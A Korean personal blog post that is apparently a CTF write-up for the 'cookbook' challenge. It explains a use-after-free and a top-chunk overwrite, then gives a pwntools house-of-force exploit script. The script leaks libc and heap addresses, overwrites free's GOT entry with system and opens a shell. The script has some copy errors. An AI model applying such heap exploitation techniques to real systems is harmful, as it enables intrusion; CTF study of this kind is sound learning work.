HanJeouk의 개인공부 블로그

취약점은 Create recipe 부분에서 할당하면 전역변수를 0으로 초기화하지 않기 때문에 UAF 가 가능하다. 그리고 Create recipe의 print current recipe를 보면 a1+124를 출력하는데 이것들을 이용해서 힙 주소나 base주소 등등 전부 구할 수 있었다. 그리고 Create recipe의 include instructions 함수에서 fgets로 값을 받는데 값을 +140 부터 받아서 탑 청크를 덮을 수 있게 된다. 또 give cookbook a name 함수에서 사이즈를 자기가 원하는 만큼 받을 수 있기 때문에  이 취약점들로 house of force 공격을 할 수 있다. 

공격 순서는 

heap_address & system_address Leak -> Top_chunk size change(\xff\xff\xff\xff) -> Attack순으로 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// input your code herefrom pwn import*
= process("./cookbook")
elf = ELF("./cookbook")
def leak(add):
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","n")
        p.sendlineafter("uit\n","d")
        p.sendlineafter("uit\n","q")
        p.sendlineafter("uit\n","g")
        p.sendlineafter(": ","300")
        p.sendline("\x00"*124+p32(add))
        p.sendlineafter("uit\n","c")
        p.sendlineafter("uit\n","p")
 
p.sendlineafter("?","/bin/sh")
 
leak(0x0804d03c#libc_start_main
p.recvuntil("type: ")
libc_start = u32(p.recv(4))
base = libc_start-0x18540
system = base+0x3ada0
one_shot = base + 0x5fbc6
 
leak(0x0804d0a0#0x0804d0a0 recipe_ptr
p.recvuntil("type: ")
heap = u32(p.recv(4))
top_add =heap+0x304
size = elf.got["free"- 0x8-top_add-0x414
 
print "libc_start_main: " + hex(libc_start)
print "base: " + hex(base)
print "heap: " + hex(heap)
print "Top_chunk: " + hex(top_add)
print "size: " + hex(size)
 
p.sendlineafter("uit\n","n")
p.sendlineafter("uit\n","g")
p.sendline("a"*0x380+"\xff\xff\xff\xff")
p.sendlineafter("uit\n","q")
p.sendlineafter("uit\n","g")
p.sendline(hex(size))
 
p.sendlineafter("uit\n","g")
p.sendlineafter(": ","5")
p.sendline(p32(system))
p.interactive()
~                    
cs

문제는 그렇게 어렵지 않았지만 문제에서 값을 넣는데 malloc로 할당해서 그걸로 값을 넣고 또 free하고 막 전역변수 여러개로 청크 관리하는 걸 보고 분석하다가 머리가 멈춰버렸다. ㅎ 그래서 풀이를 이해하고 풀었다...

이 문제를 풀면서 함수 전부를 분석해야하지만 그 중에서 중요한 부분을 잘 잡아내서 분석하는 것도 중요하다는 것을 깨달았다.

또 평소에 분석하다가 헷갈리면 gdb로 같이 값 들어가는거 보면서 했는데 앞으로는 정적 분석 실력 향상을 위해 최대한 정적으로만 분석해야지.

'CTF' 카테고리의 다른 글

TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04